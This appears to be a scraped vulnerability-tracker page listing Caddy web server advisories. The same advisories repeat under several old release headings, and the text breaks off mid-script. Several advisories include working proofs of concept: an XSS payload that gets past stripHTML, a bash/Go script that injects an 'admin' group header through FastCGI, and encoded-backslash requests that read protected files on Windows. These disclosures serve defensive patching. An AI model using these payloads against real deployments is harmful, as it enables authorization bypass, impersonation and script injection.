CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jul 19, 2016

v0.8.3 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Apr 26, 2016

v0.8.2 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Feb 25, 2016

v0.8.1 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
